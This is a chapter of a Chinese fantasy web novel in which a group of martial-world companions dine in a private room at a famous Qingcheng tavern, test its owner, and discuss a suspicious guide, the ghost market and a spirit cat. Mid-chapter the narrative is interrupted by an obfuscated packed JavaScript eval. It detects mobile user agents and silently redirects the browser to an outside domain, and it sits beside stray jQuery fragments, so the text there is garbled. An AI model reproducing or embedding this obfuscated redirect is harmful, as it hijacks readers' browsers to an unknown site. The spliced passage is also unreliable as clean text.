16.芙蓉楼
    青城名声最响的酒楼是芙蓉楼。

    芙蓉楼有三层高,用上好的红木做支撑,以蓝绿琉璃瓦为顶,中间请了匠人做了镂空雕花的设计,檐角高挑,似欲横飞。

    乌木他们现在便站在芙蓉楼的门前,抬眼看过去便是镶金的招牌,芙蓉楼三个大字龙飞凤舞,高悬于上,显然是大师的手笔。

    正待往里走去,谢惊风却停下了步子,叹道:“芙蓉楼的菜品在青城虽是一绝,但青城最好的酒却不在芙蓉楼,可惜啊。”

    “有什么好可惜了,买来便是。”乌木斜了他一眼,“不就是想支使人帮你跑腿吗?爽快些。”

    “哈哈哈。”谢惊风大笑起来,“是极是极。”

    阿山默默地往后退了一步,站在乌木的身后,乌木伸手将他牵住,冷笑一声:“有徒弟了就使唤徒弟去,莫要天天盯着别人家的看。”

    谢惊风抬起头来,长叹一声,摇了摇头,深沉道:“徒儿,你可愿替师父跑着一趟。”

    “好好说话。”乌木敲了他一扇子,又道,“青岚你替他跑一趟吧。”

    “要城东安然胡同九里巷莫家的五斗酒。”谢惊风语速飞快。

    “呵。”乌木偏过头去,似笑非笑地着看他 “你倒是会喝。”

    “那可不。”谢惊风扔给青岚一锭银子,又递给他一个葫芦,“让莫家小子把葫芦先装满,再来个五两酒,差不多刚好……”

    谢惊风话还没说完,乌木就一脸嫌弃的打断了他:“抠抠搜搜的,你到底把银钱用哪儿去了?这顿酒我请你。”

    说着,便从怀里掏出来十几两银子,递到青岚手上,道:“莫打什么五斗酒了,要他家招牌的醉千金。给谢惊风把葫芦装满,再带个七两回来,剩下应该还能有个几两银子,你两便自己收着,或者买些什么喜欢的都行,算是我代谢惊风给你们的辛苦费。”

    谢惊风假装惊讶道:“嘿,让徒弟跑个腿怎得还得给辛苦费?”

    乌木又用扇子敲了他一下,被他躲了过去,道:“哪有师父像你这般。”

    埋怨完,又转身看向长风道:“长风你也跟着青岚去吧,小心莫要迷路了。”

    “好。”长风听罢,只向他两施了一礼,帮着青岚把银子细细收好了,才转身往城东走去。

    乌木伸出手来,将阿山的手握紧了,暗暗用了力,将人拉到自己身边来,方才从容迈进了芙蓉楼。

    谢惊风背着手笑着坠在他两身后,一晃一晃地也跟着进去了。

    芙蓉楼价格较周围虽是贵上不少,但这里的环境、服务和菜品都是一等一的。

    再加上近年来陛下与民休息,大大减轻了赋税劳役,因而百姓手里都很是有些余钱,豪商大贾也乘势而起。

    因而作为江南重镇青城的第一大酒楼,芙蓉楼日日是宾客盈门,座无虚席。

    不过此时已经稍有些过了饭点,芙蓉楼里也少了很多。

    店里小二见到他们进来,麻溜地将抹布往肩上一甩,抖搂干净,小跑着过来,向他们一揖道:“三位客官,大堂用饭还是包间?”

    “哦?现在可有包间?”乌木挑了挑眉,问道。

    “有,现下恰好留出来一个包间,几位爷可要包下?就是价钱可能略有些贵。”小二麻溜道。

    “包下吧,价钱不打紧,你带我几个上去便是。”乌木点点头,示意小二带路。

    “好嘞,几位爷这边请。”小二伸出右手来,引着他们往楼上走。

    空出来的包间有个好听的名字,叫水云间,在芙蓉楼的顶楼,是这儿最大的包间。

    这名字起的好听,却也并非没有缘由。

    青城是靠着泗水建起来的。

    泗水从城中穿行而过,给整个城市都增添了些朦胧的水汽。从芙蓉楼的水云间看过去,则恰恰好能见到泗水自桥底穿插而过,生生不息。

    水云间的拱斗被精心雕成了祥云的模样,地上铺了从西域进口的羊毛地垫,临街的一面开着窗,正对着奔流不息的泗水,隐隐约约地,还能听见水声。

    窗户是用上好的檀香木做成的,上面请木匠镂空做了装饰,点缀着各式各样的山水花鸟。又用绸子做了层轻薄的帘子挂在窗户上,既透光通风了,又不至于让客人觉得打扰。

    餐桌的四周放了两幅屏风,一幅上面雕了簪花仕女图,另一幅则是美人月下抚琴图,两相映衬着,倒也算巧妙。

    餐桌是雷击木打造的,上面上了一层蜡,看起来相当之平整,椅子则用的金丝楠木,茶碗用具都是名贵的青瓷,筷子是银制的,桩桩件件都透露出价值不菲来。

    乌木抬了抬眉,对这包间的豪横程度却也有些诧异,问道:“这般名贵,倒不像是一般时候。”

    那小二刚替他们倒了茶,又上了些果盘。

    听到乌木这话,小二便堆出笑来向她拱了拱手道:“害,这位爷,不瞒您说,这间包间本是有位大人早早便定下的,说是要宴请个重要客人,让我家掌柜的尽管用最好的东西。可谁曾想,今日这位大人又遣人来通知我等,说这宴席要作罢。可我们这布置却已经布置好了……掌柜的生气一拍桌子,这不……”

    乌木懂了,他们这也算是捡了个漏,但毕竟东西确实金贵,因而也要较往常贵出一些去。

    但这些布置确实能看出来是费了心思的,东西也是上好的东西,颇合她心意,因而她也不介意多花些银子。

    想了想,乌木压下谢惊风正准备点单的手,向小二道:“既然如此,那想必你家掌柜准备的食材都还没用上吧?那这样,劳您去问问你家掌柜,看能否叫他按原本的宴席菜品给我们上菜,我们照原价付钱,可否?”

    那小二眼珠子一转,向乌木等人一告罪,便麻溜的从包厢中退了出去,正是去问掌柜的了。

    没过一会,芙蓉楼的掌柜便来了,掌柜的身形有些圆润,让人看着便觉得伙食不错。

    掌柜满脸笑容,看向乌木他们,道:“我听那不成器的小子说,几位贵客想要包下这桌宴席?”

    “是,只不知是否能行?”乌木站起来向掌柜拱了拱手道。

    “当然可以。”掌柜满脸笑容,“只是这价钱……”

    “多少?”乌木问。

    “五两纹银。”掌柜搓着手,笑。

    乌木还没开口,谢惊风却先皱了眉,神色一肃,看向掌柜,颇有几分狠厉的味道:“我倒不知,什么菜这般金贵,值得起五两纹银?店家莫不是在诳我等?”

    “哎哟,这位客官,这这这,这小店怎敢啊?”那掌柜的被他这一说,脑门上的冷汗大颗大颗地往下冒。

    “那你这是鲍鱼龙翅还是龙肝凤髓?嗯?五两纹银?”

    “这这这……”掌柜的头上冒气冷汗,“这位客官,小店这……这,这小店为着宴席准备多日,食材都是托人从各地采购运来的,五两纹银,真的已经是赔本买卖了。”

    那掌柜的在谢惊风的目光下颤了颤道:“小店这桌席面按原先预定的价格算,怎么也要二十两纹银,只今日被突然告知撤席,我们这有些食材又禁不起再放,这才以五两的价格贱卖给诸位贵客。这这这……这,我真没有诓骗诸位的意思啊。”

    见那掌柜的都快要哭出来了,又被谢惊风的气势压着,颤颤巍巍地不敢走,乌木倒是好笑起来,道:“好了好了,师兄,他这话倒也没有说错。若是要宴请贵客,几十两银子花起来真是如流水一般,跟我们叫这五两纹银也着实不算高价。”

    那掌柜的看向乌木的眼睛已经像是遇到了恩人。

    又听得乌木道:“不过虽然如此,若是我等吃得不尽心意,那这五两纹银,就要掂量掂量了。”

    “哎呀,这。”掌柜的忙道,“这是说的什么话,岂有叫客人不满意的道理?定叫楼里的大师傅尽心烹调,叫诸位吃得舒心。”

    “那在下便要谢过掌柜了。”乌木笑着给掌柜还了一礼,“那我等便等着试一试青城第一酒楼的手艺了。”

    “谬赞谬赞。”掌柜的连道不敢,想要退走,又有些踟躇。

    乌木瞪了谢惊风一眼,让他将气势收一收,又转头乖巧地看向阿山。

    阿山无奈地笑了笑,手腕一翻,五两银子便稳稳立在桌上,朝着掌柜的道:“五两银子,掌柜的点点数。”

    “好好好,几位客官吃好喝好。”掌柜的拿了银子,在手里掂了掂,确认是足银足两的,就向外退去,不再多言。

    谢惊风见他要退出去了,又道:“我们还有两人,名唤长风、青岚,你叫后厨先候着,等人到齐了再上菜。现下则莫要再来打扰我等。”

    “小人知晓了,诸位若有其它事情,只管出门吩咐一声便是。”掌柜应了,便退出门去,替他们将门关上,长嘘了一口气,才惊觉背后冷汗已经湿透了衣衫。

    谢惊风转了转身前的茶杯,手指无意识地在边沿敲了敲,眼睛微眯了,侧耳认真听了会外边动静。

    乌木换了个舒服的坐姿,靠在金丝楠木坐椅柔软的背靠上,从阿山手里接过菊瓣纹青瓷茶碗,刮了刮茶沫,浅浅饮了一口。

    过了会,谢惊风拿起茶碗,豪饮一口,道:“那老板也是个灵人。”

    “嗯。”乌木将阿山手边的茶碗拿了过来,刮了浮沫,又试了试温度,觉着正适宜入口,才将茶水又重新递给阿山,道,“尝尝,这龙井不错。”

    阿山眉眼温和地接了过去,很是自然地饮了一口,唇角却显然带起了笑意。

    “所以你试了试他。”乌木道。

    “嗯。”谢惊风笑了笑,“确实有些恰巧。”

    “没关系。”乌木转头望了望窗外,笑了笑,“看来盯着我们的人不少。”

    “毕竟刚做的登记嘛。”谢惊风也向后一躺,大喇喇地靠住椅背。

    “不过也不一定是盯着我们。”乌木道。

    “但可能性很小。”谢惊风抓了个果子啃起来。

    “嗯哼。”乌木耸耸肩,“那你觉得是哪家的?”

    “掌柜的应该跟朝廷有些关系。”谢惊风转了转茶杯,“芙蓉楼背后的靠山可就是灵人司。”

    乌木笑了笑:“那这宴席或许也没准备错呢?”

    谢惊风挑了挑眉:“哪有请人吃饭还要客人付钱的道理。”

    乌木斜她一眼,谢惊风无所谓地耸了耸肩。

    “朝廷先不用管,你觉得程凤如何?”乌木问他。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13667532|142551||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>“有些奇怪。”谢惊风喝了口茶,“明明瞅着有些小习惯像是朝廷的人,但无踪闻着又觉着不像。不过肯定是瞒了些事情。”

    “只是不知道瞒了哪部分东西。不过与我们无关,我们的目的简单得很,只是进鬼市买些东西罢了。”谢惊风道,随手将无踪放了出来,抱在怀里。

    “那可不一定。”乌木笑了笑,“我觉得她的目标是鬼老。”

    “哦?为什么?”谢惊风问。

    “感觉。”乌木悄悄盯着无踪,眼里暗暗放光,“她身上鬼市的气息很重……比正常接引人的气息要重得多。”

    “也就是说,她肯定频繁进入并且长时间停留在鬼市里面?但为何她的目标是鬼老?”谢惊风一把把无踪捞了起来,不理会无踪的挣扎,将它抱在怀里,有一下没一下地给它梳着毛,惹得无踪小小声“喵”了一下,对着他亮了亮爪子。

    “如无允许,鬼市的宝物阳界的人是带不出来的,所以她的目的一定是找人。”乌木饮了口茶,解释道,“而如果要找人的话,我很难想到,除了鬼老,哪个活人必须要进鬼市里面找。”

    “如果不找活人呢?”谢惊风刚说完,便觉得自己问了些没意义的话。

    乌木瞥了他一眼,道:“那不就更要找鬼老了?你家活人能跟那些东西沟通……”

    谢惊风摸了摸鼻子,自觉无趣,便拿无踪逗她,雪白色的长毛猫猫被他竖着抱起来,蓬松地大长尾巴紧紧扣在两腿中间,四爪腾空,疯狂乱抓,在乌木面前晃来晃去。

    “你可别折腾了无踪了。”乌木盯着猫猫,雪白色的毛毛随着谢惊风的动作上下起伏,一飘一飘地,看着就很软乎,“无踪今天帮忙隐藏气息可老辛苦了。是吧,无踪?”

    “喵~”无踪答她,胡须一动一动。

    “一葫芦的醉千金,辛苦啥?”谢惊风愤愤不平地将无踪放在了桌子上,看着它优雅的迈着猫步,向乌木走过去。

    “有时候真挺好奇你们蛊师和御兽师到底有什么差别。”乌木抱臂看着,眼睛发光,却没有丝毫要伸手摸摸无踪的意思,只向谢惊风吐槽。

    “这你不最是清楚吗?”谢惊风无聊地打了个哈欠,“御兽师是跟活物打交道。蛊师嘛,半生不死的。”

    乌木垂了垂眉,喝了口茶。

    阿山伸出手去,停住了无踪猫猫靠近乌木的步伐,惹得无踪猫猫忿忿叫了两声。

    但终究摄于身前蛊虫的巨大威势,无踪只得优雅地坐下,将尾巴盘在身边,歪头看向乌木,眨了眨蓝绿色的眼睛。

    乌木有些手痒,但很乖地克制住了自己,悄悄看了眼阿山的侧脸,俊美非常。

    阿山冷静地绷紧了脸,但没敢转过头去,只更加用力地压住了无踪。

    谢惊风看了看乌木,自觉说错了话,一把把无踪捞了回去,道:“蛊虫养起来方便,不会掉毛,乖乖巧巧的,还听话。”

    说着,又将无踪举到自己面前晃了晃,逗它:“是吧?小无踪?”

    “喵~!”

    “无踪说说糟老头子赶紧放开它!”阿山收回手,眉眼沉静,冷不丁给他翻译了一句,狠狠插进谢惊风的心窝。

    “我这般风流倜傥,怎么就成糟老头子了?枉费我疼你。”谢惊风忿忿用手指戳着无踪的小脑袋。

    “喵~”无踪挥了挥爪子。

    “抠抠搜搜的主子,醉千金都不给买。”阿山继续翻译。

    “五斗酒有什么不好?就乌木宠你是吧?”谢惊风抱着猫左摇右晃。

    “喵。”无踪朝他吼。

    “乌木姐姐每次都买好吃的,想……”阿山皱了皱眉头,但看见乌木带了些笑意地眉头,忍了忍将要朝无踪压过去的气势,却是眉目笔挺,朝着无踪严肃道,“我的。”

    乌木没忍住笑了,偏帮阿山,道:“嗯。他的。”

    “喵!”无踪猫猫炸毛,但插不进去,只好嫌弃地看了一眼谢惊风,一转身溜进了他的蛊池里面。

    “嘿,好你个无踪。”谢惊风手上一轻,笑骂了一句。

    “你倒是宠它。”乌木朝着谢惊风道,却带了些笑,伸出手去,轻轻捏了捏阿山,哄他。

    “哪有你宠?”谢惊风瞥了眼她和阿山,只觉得没眼看。

    乌木对他的视线无动于衷,仍旧有一下没一下地轻轻揉捏着阿山胳膊上的软肉,将人捏得脸色红了一片,方才心情很好地笑道:“不过你们蛊师的蛊池倒真是有意思,像是另一个空间一样。”

    “那只能说是蛊师的祖师爷厉害。”谢惊风叹了口气,难得心服,“连在体内开辟空间的办法都能想出来。”

    乌木点点头,很认真的赞同:“确实。”

    “不过话又说回来。你就不担心程凤和鬼老吗?”谢惊风挪了挪,找了个更舒服的位置靠着。

    “有什么好担心的?你我都没那个谋事的脑子。”乌木摆了摆手,不甚在意,“更何况,就算是冲我们来的,还能如何?兵来将挡,水来土掩便好。”

    “倒也是。”谢惊风喝完手中了茶,叹了口气,“他两怎去了这般久?”

    “饿了。”谢惊风无奈摊了摊手。

    乌木没忍住,笑出了声。